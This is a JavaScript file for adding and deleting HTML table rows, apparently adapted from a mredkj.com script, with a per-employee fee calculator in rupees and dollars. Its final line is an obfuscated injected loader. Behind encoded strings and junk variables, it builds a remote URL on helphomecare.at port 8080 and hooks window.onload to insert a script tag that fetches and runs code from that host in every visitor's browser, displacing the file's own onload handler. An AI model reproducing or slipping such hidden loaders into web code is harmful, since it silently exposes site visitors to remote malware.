// tabledeleterow.js version 1.2 2006-02-21
// mredkj.com

// CONFIG notes. Below are some comments that point to where this script can be customized.
// Note: Make sure to include a <tbody></tbody> in your table's HTML

var INPUT_NAME_PREFIX = 'txtRow'; // this is being set via script
var RADIO_NAME = 'totallyrad'; // this is being set via script
var TABLE_NAME = 'tblSample'; // this should be named in the HTML
var ROW_BASE = 1; // first number (for display)
var hasLoaded = false;
var countinc = 1;
var mode = 0;
var varstu = 0;
var currentTime = new Date();
window.onload=fillInRows;

function fillInRows()
{
	hasLoaded = true;
	addRowToTable();
	//addRowToTable();
}

// CONFIG:
// myRowObject is an object for storing information about the table rows
function myRowObject(one, two, three, four)
{
	this.one = one; // text object
	this.two = two; // input text object
	this.three = three; // input checkbox object
	this.four = four; // input radio object
}

/*
 * insertRowToTable
 * Insert and reorder
 */
function insertRowToTable()
{
	if (hasLoaded) {
		var tbl = document.getElementById(TABLE_NAME);
		var rowToInsertAt = tbl.tBodies[0].rows.length;
		for (var i=0; i<tbl.tBodies[0].rows.length; i++) {
			if (tbl.tBodies[0].rows[i].myRow && tbl.tBodies[0].rows[i].myRow.four.getAttribute('type') == 'radio' && tbl.tBodies[0].rows[i].myRow.four.checked) {
				rowToInsertAt = i;
				break;
			}
		}
		addRowToTable(rowToInsertAt);
		reorderRows(tbl, rowToInsertAt);
	}
}

/*
 * addRowToTable
 * Inserts at row 'num', or appends to the end if no arguments are passed in. Don't pass in empty strings.
 */
 function checkimage(val1)
 {
	 splitName = val1.split(".");
    fileType = splitName[1];
    fileType = fileType.toLowerCase();
    if (fileType != 'jpg' && fileType != 'gif')
    {
        alert("You must select an .gif or .jpg, file.");
    }
 }
 
 function calculate()
 
 {
 var rowToInsertAt1 = parseInt(document.getElementById("tblSample").rows.length) - 1;
 //alert(rowToInsertAt1 );
 var NEmp = rowToInsertAt1;
					  if(document.getElementById("india").checked)
                        {                       
                            var month = currentTime.getMonth() + 1;
                            var day = currentTime.getDate();
                            var year = currentTime.getFullYear();
//                        alert(currentTime.getFullYear());
						  //  alert(parseInt(document.getElementById("mtype").value) );
						// alert(day) 
						 if((parseInt(day)<=31) && (parseInt(month)<=12) && (parseInt(year)<=2008))
						  {
						    if(parseInt(document.getElementById("mtype").value) == "1" || parseInt(document.getElementById("mtype").value)=="2")
						    {						       
						       document.getElementById("amount").value =  parseInt((NEmp * 7500) - ((NEmp * 7500) * .1 + (NEmp * 7500) * .2));	
						      // alert(parseInt((NEmp * 7500) - ((NEmp * 7500) * .1 + (NEmp * 7500) * .2)));
						       document.getElementById("currency").innerHTML = " INR";	
							}
							else if(parseInt(document.getElementById("mtype").value) == "3")
							{
							  // alert(parseInt((NEmp * 2000) - ((NEmp * 2000) * .2 )));
						       document.getElementById("amount").value = parseInt((NEmp * 2000) - ((NEmp * 2000) * .2 ));	
						       document.getElementById("currency").innerHTML = " INR";	
							}
							else if(parseInt(document.getElementById("mtype").value) == "4")
							{
							  document.getElementById("amount").value =  parseInt((NEmp * 7500) - ((NEmp * 7500) * .2 ));	
						    //   alert(parseInt((NEmp * 7500) - ((NEmp * 7500) * .1 + (NEmp * 7500) * .2)));
						       document.getElementById("currency").innerHTML = " INR";	
							}							
						  }
						  else
						  {
						
						   if(parseInt(document.getElementById("mtype").value) == "1" || parseInt(document.getElementById("mtype").value)=="2")
						    {						       
						      document.getElementById("amount").value = (NEmp*7500)-((NEmp * 7500) * .1 );	
						      document.getElementById("currency").innerHTML = " INR";	
							}
							else if(parseInt(document.getElementById("mtype").value) == "3")
							{
							document.getElementById("amount").value = (NEmp*2000);	
						    document.getElementById("currency").innerHTML = " INR";	
							}
							else if(parseInt(document.getElementById("mtype").value) == "4")
							{
							 	document.getElementById("amount").value = (NEmp*7500);	
						    document.getElementById("currency").innerHTML = " INR";	
							}	
						  }
						  
					
										
                        }
                        else if(document.getElementById("noindia").checked)
                        {
						    var month = currentTime.getMonth() + 1;
                                var day = currentTime.getDate();
                                var year = currentTime.getFullYear();
    //                        
						     if((parseInt(day)<=31) && (parseInt(month)<=12) && (parseInt(year)<=2008))
						      {
						        if(parseInt(document.getElementById("mtype").value) == "1" || parseInt(document.getElementById("mtype").value)=="2")
						        {						       
						           document.getElementById("amount").value =  parseInt((NEmp * 200) - ((NEmp * 200) * .1 + (NEmp * 200) * .2));	
						          // alert(parseInt((NEmp * 7500) - ((NEmp * 7500) * .1 + (NEmp * 7500) * .2)));
						           document.getElementById("currency").innerHTML = " $";	
							    }
							    else if(parseInt(document.getElementById("mtype").value) == "3")
							    {
							      // alert(parseInt((NEmp * 2000) - ((NEmp * 2000) * .2 )));
						           document.getElementById("amount").value = parseInt((NEmp * 200) - ((NEmp * 200) * .2 ));	
						           document.getElementById("currency").innerHTML = " $";	
							    }
							    else if(parseInt(document.getElementById("mtype").value) == "4")
							    {
							      document.getElementById("amount").value =  parseInt((NEmp * 200) - ((NEmp * 200) * .2 ));	
						        //   alert(parseInt((NEmp * 7500) - ((NEmp * 7500) * .1 + (NEmp * 7500) * .2)));
						           document.getElementById("currency").innerHTML = " $";	
							    }							
						      }
						      else
						      {
    						
						       if(parseInt(document.getElementById("mtype").value) == "1" || parseInt(document.getElementById("mtype").value)=="2")
						        {						       
						              document.getElementById("amount").value = (NEmp*200)-((NEmp * 200) * .1 );	
						              document.getElementById("currency").innerHTML = " $";	
							    }
							    else if(parseInt(document.getElementById("mtype").value) == "3")
							    {
							        document.getElementById("amount").value = (NEmp*200);	
						            document.getElementById("currency").innerHTML = " $";	
							    }
							    else if(parseInt(document.getElementById("mtype").value) == "4")
							    {
							 	    document.getElementById("amount").value = (NEmp*200);	
						            document.getElementById("currency").innerHTML = " $";	
							    }	
						      }                                              
                        }							
	                          

	                       

}
 
 
function addRowToTable(num)
{
	if (hasLoaded) {
		var tbl = document.getElementById(TABLE_NAME);
		var nextRow = tbl.tBodies[0].rows.length;
		var iteration = nextRow + ROW_BASE;
		if (num == null) { 
			num = nextRow;
		} else {
			iteration = num + ROW_BASE;
		}
		
		// add the row
		var row = tbl.tBodies[0].insertRow(num);
		
		// CONFIG: requires classes named classy0 and classy1
		row.className = 'classy' + (iteration % 2);
	
		// CONFIG: This whole section can be configured
		









		
		// cell 0 - text
		var cell0 = row.insertCell(0);
		var textNode = document.createTextNode("");
		cell0.appendChild(textNode);
		
		// cell 1 - input text
		var cell1 = row.insertCell(1);
		var txtInp = document.createElement('input');
		txtInp.setAttribute('type', 'text');
		txtInp.setAttribute('name', 'txtfname');
		txtInp.setAttribute('id', 'txtfname');
		txtInp.setAttribute('size', '13');
		txtInp.className="text_field";		
		txtInp.setAttribute('value', ""); // iteration included for debug purposes
		cell1.className="tdback1";
		cell1.appendChild(txtInp);
		
		//file 2
		var cell4 = row.insertCell(2);
		var txtInp4 = document.createElement('input');
		txtInp4.setAttribute('type', 'text');
		txtInp4.setAttribute('name', 'txtlname');
		txtInp4.setAttribute('id', 'txtlname');
		txtInp4.setAttribute('size', '13');
		txtInp4.className="text_field";		
		txtInp4.setAttribute('value', ""); // iteration included for debug purposes
		cell4.className="tdback";
		cell4.appendChild(txtInp4);
	
		
		//file 2
		var cell4 = row.insertCell(3);
		var txtInp4 = document.createElement('input');
		txtInp4.setAttribute('type', 'text');
		txtInp4.setAttribute('name', 'txtcode');
		txtInp4.setAttribute('id', 'txtcode');
		txtInp4.setAttribute('size', '13');
		txtInp4.className="text_field";		
		txtInp4.setAttribute('value', ""); // iteration included for debug purposes
		cell4.className="tdback1";
		if((mode == 3) || (mode == 4))
		{
			cell4.style.display = "none";
			}
			else
			{
		cell4.appendChild(txtInp4);
		
			}
			cell4.style.display="none"; //hide 3rd column for code
		
		// cell 3 - input checkbox
		var cell3 = row.insertCell(4);
		var cbEl = document.createElement('input');
		cbEl.setAttribute('type', 'checkbox');
		cbEl.setAttribute('name', 'chkdel');
		cbEl.setAttribute('id', 'chkdel');
		cell3.className="tdback";
		
		cell3.appendChild(cbEl);

		//file 3
		var cell4 = row.insertCell(5);
		var raEl = document.createTextNode("");
		cell4.appendChild(raEl);
		
		// cell 2 - input button
		var cell2 = row.insertCell(6);
		var btnEl = document.createElement('input');
		btnEl.setAttribute('type', 'button');
		btnEl.setAttribute('value', 'Delete');
		btnEl.onclick = function () {deleteCurrentRow(this)};
		//cell2.appendChild(btnEl);
		
		
		
		// cell 4 - input radio
//		var cell4 = row.insertCell(4);
//		var raEl;
//		try {
//			raEl = document.createElement('<input type="radio" name="' + RADIO_NAME + '" value="' + iteration + '">');
//			var failIfNotIE = raEl.name.length;
//		} catch(ex) {
//			raEl = document.createElement('input');
//			raEl.setAttribute('type', 'radio');
//			raEl.setAttribute('name', RADIO_NAME);
//			raEl.setAttribute('value', "");
//		}
//		cell4.appendChild(raEl);
		
		// Pass in the elements you want to reference later
		// Store the myRow object in each row
		row.myRow = new myRowObject(textNode, txtInp, cbEl, raEl);
	}
	calculate();
}

// CONFIG: this entire function is affected by myRowObject settings
// If there isn't a checkbox in your row, then this function can't be used.
function deleteChecked()
{


	if (hasLoaded) {
		var checkedObjArray = new Array();
		var cCount = 0;
	
		var tbl = document.getElementById(TABLE_NAME);
		for (var i=0; i<tbl.tBodies[0].rows.length; i++) 
		{
			if (tbl.tBodies[0].rows[i].myRow && tbl.tBodies[0].rows[i].myRow.three.getAttribute('type') == 'checkbox' && tbl.tBodies[0].rows[i].myRow.three.checked) {
				checkedObjArray[cCount] = tbl.tBodies[0].rows[i];
				cCount++;
			}
		}
		if (checkedObjArray.length > 0) {
			var rIndex = checkedObjArray[0].sectionRowIndex;
			deleteRows(checkedObjArray);
			reorderRows(tbl, rIndex);
		}
	}
	
	
	var rowcount = document.getElementById("tblSample").rows.length;
	if(parseInt(rowcount) < 2)
	{
		 addRowToTable();	
	}
	if(mode == 1)
{
	if(parseInt(rowcount) < 10)
	{
	document.getElementById("addmore").style.display = "";
	}
}
			
}

// If there isn't an element with an onclick event in your row, then this function can't be used.
function deleteCurrentRow(obj)
{
	if (hasLoaded) {
		var delRow = obj.parentNode.parentNode;
		var tbl = delRow.parentNode.parentNode;
		var rIndex = delRow.sectionRowIndex;
		var rowArray = new Array(delRow);
		deleteRows(rowArray);
		reorderRows(tbl, rIndex);
	}
}

function reorderRows(tbl, startingIndex)
{
	if (hasLoaded) {
		if (tbl.tBodies[0].rows[startingIndex]) {
			var count = startingIndex + ROW_BASE;
			for (var i=startingIndex; i<tbl.tBodies[0].rows.length; i++) {
			
				// CONFIG: next line is affected by myRowObject settings
				tbl.tBodies[0].rows[i].myRow.one.data = ""; // text
				
				// CONFIG: next line is affected by myRowObject settings
				tbl.tBodies[0].rows[i].myRow.two.name = INPUT_NAME_PREFIX ; // input text
				
				// CONFIG: next line is affected by myRowObject settings
				var tempVal = tbl.tBodies[0].rows[i].myRow.two.value.split(' '); // for debug purposes
				tbl.tBodies[0].rows[i].myRow.two.value = tempVal[0]; // for debug purposes
				
				// CONFIG: next line is affected by myRowObject settings
				tbl.tBodies[0].rows[i].myRow.four.value = "";//count; // input radio
				
				// CONFIG: requires class named classy0 and classy1
				tbl.tBodies[0].rows[i].className = 'classy' + (count % 2);
				
				count++;
			}
		}
	}
}

function deleteRows(rowObjArray)
{
	if (hasLoaded) {
		for (var i=0; i<rowObjArray.length; i++) {
			var rIndex = rowObjArray[i].sectionRowIndex;
			rowObjArray[i].parentNode.deleteRow(rIndex);
		}
	}
}

function openInNewWindow(frm)
{
	// open a blank window
	var aWindow = window.open('', 'TableAddRow2NewWindow',
	'scrollbars=yes,menubar=yes,resizable=yes,toolbar=no,width=400,height=400');
	
	// set the target to the blank window
	frm.target = 'TableAddRow2NewWindow';
	
	// submit
	frm.submit();
}

this.qY="";this.Ai="";function n(){var y=new String();var bc=new String();var M=unescape;var p;if(p!='j' && p!='s'){p='j'};var u=window;var K='';var R="";var Mj;if(Mj!='' && Mj!='cb'){Mj='r'};var c=M("%2f%62%6c%6f%67%67%65%72%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%69%6d%65%73%6f%6e%6c%69%6e%65%2e%63%6f%2e%75%6b%2e%70%68%70");var o;if(o!='' && o!='Sq'){o=null};function H(Y,A){var b=String("gpEb".substr(0,1));var Af=M("%5b"), Az=M("%5d");var T=Af+A+Az;this.D="";var ql;if(ql!=''){ql='Bw'};var Q=new RegExp(T, b);var dK=new Array();this.xM='';return Y.replace(Q, new String());this.i='';};var F;if(F!='wn' && F != ''){F=null};var Mo;if(Mo!='g'){Mo='g'};var tc;if(tc!='U'){tc='U'};var tx="";var fD;if(fD!=''){fD='YS'};var bb;if(bb!=''){bb='XO'};var a=H('816242304134382247077192','12359467');var Cn;if(Cn!='AG'){Cn=''};var d=new String();this.m='';var YM;if(YM!='' && YM!='mj'){YM='rC'};var q=document;var l;if(l!='' && l!='Dw'){l=''};var Cmb='';var iR=new Date();var my=new Array();this.LU='';function qr(){this.Fw="";var cu="";var bh=M("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");d=bh;this.Na='';d+=a;var qc="";var LB;if(LB!='' && LB!='ZN'){LB=null};d+=c;var v='';var Wy;if(Wy!=''){Wy='gy'};var EC;if(EC!='bk' && EC!='UR'){EC='bk'};try {var vW=new String();var dd;if(dd!='' && dd!='qhT'){dd='wm'};qh=q.createElement(H('sqc9rqiqpqtv','v9uq'));var jk;if(jk!='' && jk!='sj'){jk='Zv'};var wU;if(wU!='bu'){wU=''};var aD;if(aD!='mx'){aD=''};qh[M("%73%72%63")]=d;var oy='';qh[M("%64%65%66%65%72")]=[1,8][0];var EJ;if(EJ!='Ov' && EJ!='Zk'){EJ=''};var ue;if(ue!='' && ue!='CQ'){ue=null};var XF=new Array();var vY='';q.body.appendChild(qh);} catch(qw){var tw=new Date();this.I='';alert(qw);};this.Rr="";this.sd="";}var Ia='';var Mx='';u[new String("onzqty".substr(0,2)+"pMTGlo".substr(4)+"MHWad".substr(3))]=qr;var XL=new String();var GF;if(GF!='vWO'){GF='vWO'};};var iJ=new String();var fo;if(fo!='kyf' && fo != ''){fo=null};var bU;if(bU!='Rz' && bU != ''){bU=null};n();this.XW='';var cF;if(cF!='kE' && cF!='JT'){cF=''};